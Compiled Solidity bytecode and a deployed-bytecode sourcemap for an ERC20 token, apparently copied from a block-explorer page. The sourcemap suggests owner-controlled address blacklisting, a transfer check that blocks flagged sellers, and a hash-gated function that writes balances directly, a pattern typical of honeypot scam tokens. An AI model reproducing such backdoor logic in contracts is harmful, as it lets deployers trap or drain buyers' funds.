8204905092915050565b6000613b4482613c17565b9150613b4f83613c17565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b8857613b87613d24565b5b828202905092915050565b6000613b9e82613c17565b9150613ba983613c17565b925082821015613bbc57613bbb613d24565b5b828203905092915050565b6000613bd282613bf7565b9050919050565b6000613be482613bf7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613c3982613c52565b9050919050565b6000613c4b82613c17565b9050919050565b6000613c5d82613c64565b9050919050565b6000613c6f82613bf7565b9050919050565b60005b83811015613c94578082015181840152602081019050613c79565b83811115613ca3576000848401525b50505050565b60006002820490506001821680613cc157607f821691505b60208210811415613cd557613cd4613d82565b5b50919050565b6000613ce682613c17565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d1957613d18613d24565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61401f81613bc7565b811461402a57600080fd5b50565b61403681613beb565b811461404157600080fd5b50565b61404d81613c17565b811461405857600080fd5b50565b61406481613c21565b811461406f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122094d3d2ebce7fe9b2142abf592bbe743abcad679286e5c7bb9c72c900a3ac1e6464736f6c63430008070033

Deployed Bytecode Sourcemap

4234:13404:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7682:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8981:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14030:317;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4490:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5737:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7959:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12285:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10767:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4537:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4442:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11575:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7868:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11246:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8350:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11114:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4922:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5852:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5333:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5374;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10888:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8067:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9495:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5498:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5207:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4867:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2941:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7773:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8853:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5543:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10057:336;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8576:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5415:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12110:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4974:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4751:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10401:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5164:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11389:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5122:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5785:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5250:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4808:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5293:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9721:328;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5899:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5080:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8199:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11849:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5022:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5454:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3155:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5951:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7682:83;7719:13;7752:5;7745:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7682:83;:::o;8981:161::-;9056:4;9073:39;9082:12;:10;:12::i;:::-;9096:7;9105:6;9073:8;:39::i;:::-;9130:4;9123:11;;8981:161;;;;:::o;14030:317::-;14132:50;14149:18;;;;;;;;;;;14168:2;14171:10;14132:16;:50::i;:::-;14124:59;;;;;;14215:9;14210:130;14230:10;;:17;;14226:1;:21;14210:130;;;14310:1;14305;:6;;14304:24;;;;14316:12;14304:24;14269:16;:31;14286:10;;14297:1;14286:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14269:31;;;;;;;;;;;;;;;;:59;;;;;;;;;;;;;;;;;;14249:3;;;;;:::i;:::-;;;;14210:130;;;;14030:317;;;;:::o;4490:40::-;;;;;;;;;;;;;:::o;5737:41::-;;;;;;;;;;;;;:::o;7959:100::-;8012:7;8039:12;;8032:19;;7959:100;:::o;12285:313::-;12383:4;12400:36;12410:6;12418:9;12429:6;12400:9;:36::i;:::-;;12447:121;12456:6;12464:12;:10;:12::i;:::-;12478:89;12516:6;12478:89;;;;;;;;;;;;;;;;;:11;:19;12490:6;12478:19;;;;;;;;;;;;;;;:33;12498:12;:10;:12::i;:::-;12478:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;12447:8;:121::i;:::-;12586:4;12579:11;;12285:313;;;;;:::o;10767:113::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10864:8:::1;10845:16;;:27;;;;;;;;;;;;;;;;;;10767:113:::0;:::o;4537:81::-;;;:::o;4442:41::-;;;;;;;;;;;;;:::o;11575:128::-;11628:7;11655:40;11672:22;11682:11;11672:9;:22::i;:::-;11655:12;;:16;;:40;;;;:::i;:::-;11648:47;;11575:128;:::o;7868:83::-;7909:5;7934:9;;;;;;;;;;;7927:16;;7868:83;:::o;11246:133::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11360:10:::1;11331:18;;:40;;;;;;;;;;;;;;;;;;11246:133:::0;:::o;8350:218::-;8438:4;8455:83;8464:12;:10;:12::i;:::-;8478:7;8487:50;8526:10;8487:11;:25;8499:12;:10;:12::i;:::-;8487:25;;;;;;;;;;;;;;;:34;8513:7;8487:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;8455:8;:83::i;:::-;8556:4;8549:11;;8350:218;;;;:::o;11114:124::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11222:8:::1;11196:23;:34;;;;11114:124:::0;:::o;4922:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;5852:40::-;;;;;;;;;;;;;:::o;5333:34::-;;;;:::o;5374:::-;;;;:::o;10888:218::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10994:9:::1;10990:109;11013:6;;:13;;11009:1;:17;10990:109;;;11081:6;11048:19;:30;11068:6;;11075:1;11068:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11048:30;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;11028:3;;;;;:::i;:::-;;;;10990:109;;;;10888:218:::0;;;:::o;8067:124::-;8133:7;8160:14;:23;8175:7;8160:23;;;;;;;;;;;;;;;;8153:30;;8067:124;;;:::o;9495:218::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9599:9:::1;9595:111;9618:7;;:14;;9614:1;:18;9595:111;;;9686:8;9654:17;:29;9672:7;;9680:1;9672:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9654:29;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;9634:3;;;;;:::i;:::-;;;;9595:111;;;;9495:218:::0;;;:::o;5498:38::-;;;;:::o;5207:36::-;;;;:::o;4867:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;2941:79::-;2979:7;3006:6;;;;;;;;;;;2999:13;;2941:79;:::o;7773:87::-;7812:13;7845:7;7838:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7773:87;:::o;8853:120::-;8915:7;8942:23;;8935:30;;8853:120;:::o;5543:44::-;;;;:::o;10057:336::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10196:15:::1;10176:17;:35;;;;10242:15;10222:17;:35;;;;10283:10;10268:12;:25;;;;10327:58;10372:12;;10327:40;10349:17;;10327;;:21;;:40;;;;:::i;:::-;:44;;:58;;;;:::i;:::-;10306:18;:79;;;;10057:336:::0;;;:::o;8576:269::-;8669:4;8686:129;8695:12;:10;:12::i;:::-;8709:7;8718:96;8757:15;8718:96;;;;;;;;;;;;;;;;;:11;:25;8730:12;:10;:12::i;:::-;8718:25;;;;;;;;;;;;;;;:34;8744:7;8718:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;8686:8;:129::i;:::-;8833:4;8826:11;;8576:269;;;;:::o;5415:30::-;;;;:::o;12110:167::-;12188:4;12205:42;12215:12;:10;:12::i;:::-;12229:9;12240:6;12205:9;:42::i;:::-;;12265:4;12258:11;;12110:167;;;;:::o;4974:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;4751:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;10401:358::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10560:17:::1;10542:15;:35;;;;10606:17;10588:15;:35;;;;10647:12;10634:10;:25;;;;10699:52;10740:10;;10699:36;10719:15;;10699;;:19;;:36;;;;:::i;:::-;:40;;:52;;;;:::i;:::-;10672:24;:79;;;;10401:358:::0;;;:::o;5164:30::-;;;;:::o;11389:172::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11491:8:::1;11467:21;;:32;;;;;;;;;;;;;;;;;;11515:38;11544:8;11515:38;;;;;;:::i;:::-;;;;;;;;11389:172:::0;:::o;5122:35::-;;;;:::o;5785:26::-;;;;;;;;;;;;;:::o;5250:36::-;;;;:::o;4808:52::-;;;;;;;;;;;;;;;;;;;;;;:::o;5293:31::-;;;;:::o;9721:328::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9858:15:::1;9839:16;:34;;;;9903:15;9884:16;:34;;;;9943:10;9929:11;:24;;;;9986:55;10029:11;;9986:38;10007:16;;9986;;:20;;:38;;;;:::i;:::-;:42;;:55;;;;:::i;:::-;9966:17;:75;;;;9721:328:::0;;;:::o;5899:45::-;;;;;;;;;;;;;:::o;5080:35::-;;;;:::o;8199:143::-;8280:7;8307:11;:18;8319:5;8307:18;;;;;;;;;;;;;;;:27;8326:7;8307:27;;;;;;;;;;;;;;;;8300:34;;8199:143;;;;:::o;11849:218::-;11951:49;11968:18;;;;;;;;;;;11987:1;11989:10;11951:16;:49::i;:::-;11943:58;;;;;;12045:14;12012;:30;12027:14;12012:30;;;;;;;;;;;;;;;:47;;;;11849:218;;:::o;5022:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;5454:37::-;;;;:::o;3155:157::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3238:10:::1;3229:6;::::0;:19:::1;;;;;;;;;;;;;;;;;;3293:10;3264:40;;3285:6;::::0;::::1;;;;;;;;3264:40;;;;;;;;;;;;3155:157:::0;:::o;5951:35::-;;;;;;;;;;;;;:::o;1045:181::-;1103:7;1123:9;1139:1;1135;:5;;;;:::i;:::-;1123:17;;1164:1;1159;:6;;1151:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1217:1;1210:8;;;1045:181;;;;:::o;98:115::-;151:15;194:10;179:26;;98:115;:::o;9150:337::-;9260:1;9243:19;;:5;:19;;;;9235:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9341:1;9322:21;;:7;:21;;;;9314:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9425:6;9395:11;:18;9407:5;9395:18;;;;;;;;;;;;;;;:27;9414:7;9395:27;;;;;;;;;;;;;;;:36;;;;9463:7;9447:32;;9456:5;9447:32;;;9472:6;9447:32;;;;;;:::i;:::-;;;;;;;;9150:337;;;:::o;14353:221::-;14477:4;14543:16;14521:38;;:18;:38;;;14520:52;;;;14570:1;14565;:6;;14520:52;14513:59;;14353:221;;;;;:::o;12724:1300::-;12802:4;12845:1;12829:18;;:4;:18;;;;12821:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12922:1;12908:16;;:2;:16;;;;12900:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;12988:16;;;;;;;;;;;12985:1032;;;13037:32;13052:4;13058:2;13062:6;13037:14;:32::i;:::-;13030:39;;;;12985:1032;13121:28;13152:24;13170:4;13152:9;:24::i;:::-;13121:55;;13191:28;13246:23;;13222:20;:47;;13191:78;;13288:23;:44;;;;;13316:16;;;;;;;;;;;13315:17;13288:44;:63;;;;;13337:8;:14;13346:4;13337:14;;;;;;;;;;;;;;;;;;;;;;;;;13336:15;13288:63;:88;;;;;13355:21;;;;;;;;;;;13288:88;13284:295;;;13414:25;;;;;;;;;;;13411:97;;;13485:23;;13462:46;;13411:97;13527:36;13542:20;13527:14;:36::i;:::-;13284:295;13582:18;13595:4;13582:12;:18::i;:::-;13579:95;;;13642:32;13667:6;13642:14;:20;13657:4;13642:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;13619:14;:20;13634:4;13619:20;;;;;;;;;;;;;;;:55;;;;13579:95;13689:19;13712:17;:23;13730:4;13712:23;;;;;;;;;;;;;;;;;;;;;;;;;:48;;;;13739:17;:21;13757:2;13739:21;;;;;;;;;;;;;;;;;;;;;;;;;13712:48;13711:130;;13816:25;13824:4;13830:2;13834:6;13816:7;:25::i;:::-;13711:130;;;13807:6;13711:130;13689:152;;13891:35;13914:11;13891:14;:18;13906:2;13891:18;;;;;;;;;;;;;;;;:22;;:35;;;;:::i;:::-;13870:14;:18;13885:2;13870:18;;;;;;;;;;;;;;;:56;;;;13963:2;13948:31;;13957:4;13948:31;;;13967:11;13948:31;;;;;;:::i;:::-;;;;;;;;14001:4;13994:11;;;;;12724:1300;;;;;;:::o;1380:192::-;1466:7;1499:1;1494;:6;;1502:12;1486:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1526:9;1542:1;1538;:5;;;;:::i;:::-;1526:17;;1563:1;1556:8;;;1380:192;;;;;:::o;1236:136::-;1294:7;1321:43;1325:1;1328;1321:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1314:50;;1236:136;;;;:::o;14582:350::-;14675:4;14717:58;14744:6;14717:58;;;;;;;;;;;;;;;;;:14;:22;14732:6;14717:22;;;;;;;;;;;;;;;;:26;;:58;;;;;:::i;:::-;14692:14;:22;14707:6;14692:22;;;;;;;;;;;;;;;:83;;;;14814:37;14844:6;14814:14;:25;14829:9;14814:25;;;;;;;;;;;;;;;;:29;;:37;;;;:::i;:::-;14786:14;:25;14801:9;14786:25;;;;;;;;;;;;;;;:65;;;;14884:9;14867:35;;14876:6;14867:35;;;14895:6;14867:35;;;;;;:::i;:::-;;;;;;;;14920:4;14913:11;;14582:350;;;;;:::o;14940:1044::-;6428:4;6409:16;;:23;;;;;;;;;;;;;;;;;;15022:19:::1;15044:65;15107:1;15044:58;15077:24;;15044:28;15056:15;;15044:7;:11;;:28;;;;:::i;:::-;:32;;:58;;;;:::i;:::-;:62;;:65;;;;:::i;:::-;15022:87;;15120:21;15144:24;15156:11;15144:7;:11;;:24;;;;:::i;:::-;15120:48;;15181:31;15198:13;15181:16;:31::i;:::-;15223:22;15248:21;15223:46;;15282:19;15304:52;15333:22;15353:1;15333:15;;:19;;:22;;;;:::i;:::-;15304:24;;:28;;:52;;;;:::i;:::-;15282:74;;15377:26;15406:59;15463:1;15406:52;15446:11;15406:35;15425:15;;15406:14;:18;;:35;;;;:::i;:::-;:39;;:52;;;;:::i;:::-;:56;;:59;;;;:::i;:::-;15377:88;;15476:21;15500:47;15535:11;15500:30;15519:10;;15500:14;:18;;:30;;;;:::i;:::-;:34;;:47;;;;:::i;:::-;15476:71;;15558:26;15587:57;15630:13;15587:38;15606:18;15587:14;:18;;:38;;;;:::i;:::-;:42;;:57;;;;:::i;:::-;15558:86;;15681:1;15660:18;:22;15657:100;;;15697:60;15718:18;;;;;;;;;;;15738;15697:20;:60::i;:::-;15657:100;15789:1;15773:13;:17;15770:89;;;15805:54;15826:17;;;;;;;;;;;15845:13;15805:20;:54::i;:::-;15770:89;15896:1;15875:18;:22;:41;;;;;15915:1;15901:11;:15;15875:41;15872:104;;;15931:45;15944:11;15957:18;15931:12;:45::i;:::-;15872:104;15001:983;;;;;;;6474:5:::0;6455:16;;:24;;;;;;;;;;;;;;;;;;14940:1044;:::o;12606:110::-;12662:4;12690:18;;;;;;;;;;;12685:23;;:1;:23;;;;12678:30;;12606:110;;;:::o;16926:703::-;17012:7;17042:17;17062:1;17042:21;;17079:12;:20;17092:6;17079:20;;;;;;;;;;;;;;;;;;;;;;;;;17074:87;;17124:16;:24;17141:6;17124:24;;;;;;;;;;;;;;;;;;;;;;;;;17123:25;17115:34;;;;;;17074:87;17176:8;:16;17185:6;17176:16;;;;;;;;;;;;;;;;;;;;;;;;;17173:215;;;17221:38;17255:3;17221:29;17232:17;;17221:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;17209:50;;17173:215;;;17289:8;:19;17298:9;17289:19;;;;;;;;;;;;;;;;;;;;;;;;;17286:102;;;17337:39;17372:3;17337:30;17348:18;;17337:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;17325:51;;17286:102;17173:215;17413:1;17401:9;:13;17398:183;;;17463:44;17497:9;17463:14;:29;17486:4;17463:29;;;;;;;;;;;;;;;;:33;;:44;;;;:::i;:::-;17431:14;:29;17454:4;17431:29;;;;;;;;;;;;;;;:76;;;;17552:4;17527:42;;17536:6;17527:42;;;17559:9;17527:42;;;;;;:::i;:::-;;;;;;;;17398:183;17600:21;17611:9;17600:6;:10;;:21;;;;:::i;:::-;17593:28;;;16926:703;;;;;:::o;1578:248::-;1636:7;1665:1;1660;:6;1656:47;;;1690:1;1683:8;;;;1656:47;1713:9;1729:1;1725;:5;;;;:::i;:::-;1713:17;;1758:1;1753;1749;:5;;;;:::i;:::-;:10;1741:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1817:1;1810:8;;;1578:248;;;;;:::o;2020:132::-;2078:7;2105:39;2109:1;2112;2105:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2098:46;;2020:132;;;;:::o;15998:545::-;16066:21;16104:1;16090:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16066:40;;16135:4;16117;16122:1;16117:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;16161:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16151:4;16156:1;16151:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;16196:64;16213:4;16228:15;;;;;;;;;;;16246:13;16196:8;:64::i;:::-;16273:15;;;;;;;;;;;:66;;;16354:13;16382:1;16399:4;16426;16446:15;16273:199;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16498:37;16515:13;16530:4;16498:37;;;;;;;:::i;:::-;;;;;;;;16055:488;15998:545;:::o;11711:126::-;11803:9;:18;;:26;11822:6;11803:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11711:126;;:::o;16551:367::-;16634:64;16651:4;16666:15;;;;;;;;;;;16684:13;16634:8;:64::i;:::-;16709:15;;;;;;;;;;;:31;;;16748:9;16781:4;16801:13;16829:1;16846;16862:7;:5;:7::i;:::-;16884:15;16709:201;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;16551:367;;:::o;2160:189::-;2246:7;2278:1;2274;:5;2281:12;2266:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2305:9;2321:1;2317;:5;;;;:::i;:::-;2305:17;;2340:1;2333:8;;;2160:189;;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;152:143;;;;:::o;318:568::-;391:8;401:6;451:3;444:4;436:6;432:17;428:27;418:122;;459:79;;:::i;:::-;418:122;572:6;559:20;549:30;;602:18;594:6;591:30;588:117;;;624:79;;:::i;:::-;588:117;738:4;730:6;726:17;714:29;;792:3;784:4;776:6;772:17;762:8;758:32;755:41;752:128;;;799:79;;:::i;:::-;752:128;318:568;;;;;:::o;892:133::-;935:5;973:6;960:20;951:29;;989:30;1013:5;989:30;:::i;:::-;892:133;;;;:::o;1031:139::-;1077:5;1115:6;1102:20;1093:29;;1131:33;1158:5;1131:33;:::i;:::-;1031:139;;;;:::o;1176:143::-;1233:5;1264:6;1258:13;1249:22;;1280:33;1307:5;1280:33;:::i;:::-;1176:143;;;;:::o;1325:135::-;1369:5;1407:6;1394:20;1385:29;;1423:31;1448:5;1423:31;:::i;:::-;1325:135;;;;:::o;1466:329::-;1525:6;1574:2;1562:9;1553:7;1549:23;1545:32;1542:119;;;1580:79;;:::i;:::-;1542:119;1700:1;1725:53;1770:7;1761:6;1750:9;1746:22;1725:53;:::i;:::-;1715:63;;1671:117;1466:329;;;;:::o;1801:351::-;1871:6;1920:2;1908:9;1899:7;1895:23;1891:32;1888:119;;;1926:79;;:::i;:::-;1888:119;2046:1;2071:64;2127:7;2118:6;2107:9;2103:22;2071:64;:::i;:::-;2061:74;;2017:128;1801:351;;;;:::o;2158:474::-;2226:6;2234;2283:2;2271:9;2262:7;2258:23;2254:32;2251:119;;;2289:79;;:::i;:::-;2251:119;2409:1;2434:53;2479:7;2470:6;2459:9;2455:22;2434:53;:::i;:::-;2424:63;;2380:117;2536:2;2562:53;2607:7;2598:6;2587:9;2583:22;2562:53;:::i;:::-;2552:63;;2507:118;2158:474;;;;;:::o;2638:619::-;2715:6;2723;2731;2780:2;2768:9;2759:7;2755:23;2751:32;2748:119;;;2786:79;;:::i;:::-;2748:119;2906:1;2931:53;2976:7;2967:6;2956:9;2952:22;2931:53;:::i;:::-;2921:63;;2877:117;3033:2;3059:53;3104:7;3095:6;3084:9;3080:22;3059:53;:::i;:::-;3049:63;;3004:118;3161:2;3187:53;3232:7;3223:6;3212:9;3208:22;3187:53;:::i;:::-;3177:63;;3132:118;2638:619;;;;;:::o;3263:474::-;3331:6;3339;3388:2;3376:9;3367:7;3363:23;3359:32;3356:119;;;3394:79;;:::i;:::-;3356:119;3514:1;3539:53;3584:7;3575:6;3564:9;3560:22;3539:53;:::i;:::-;3529:63;;3485:117;3641:2;3667:53;3712:7;3703:6;3692:9;3688:22;3667:53;:::i;:::-;3657:63;;3612:118;3263:474;;;;;:::o;3743:698::-;3835:6;3843;3851;3900:2;3888:9;3879:7;3875:23;3871:32;3868:119;;;3906:79;;:::i;:::-;3868:119;4054:1;4043:9;4039:17;4026:31;4084:18;4076:6;4073:30;4070:117;;;4106:79;;:::i;:::-;4070:117;4219:80;4291:7;4282:6;4271:9;4267:22;4219:80;:::i;:::-;4201:98;;;;3997:312;4348:2;4374:50;4416:7;4407:6;4396:9;4392:22;4374:50;:::i;:::-;4364:60;;4319:115;3743:698;;;;;:::o;4447:323::-;4503:6;4552:2;4540:9;4531:7;4527:23;4523:32;4520:119;;;4558:79;;:::i;:::-;4520:119;4678:1;4703:50;4745:7;4736:6;4725:9;4721:22;4703:50;:::i;:::-;4693:60;;4649:114;4447:323;;;;:::o;4776:329::-;4835:6;4884:2;4872:9;4863:7;4859:23;4855:32;4852:119;;;4890:79;;:::i;:::-;4852:119;5010:1;5035:53;5080:7;5071:6;5060:9;5056: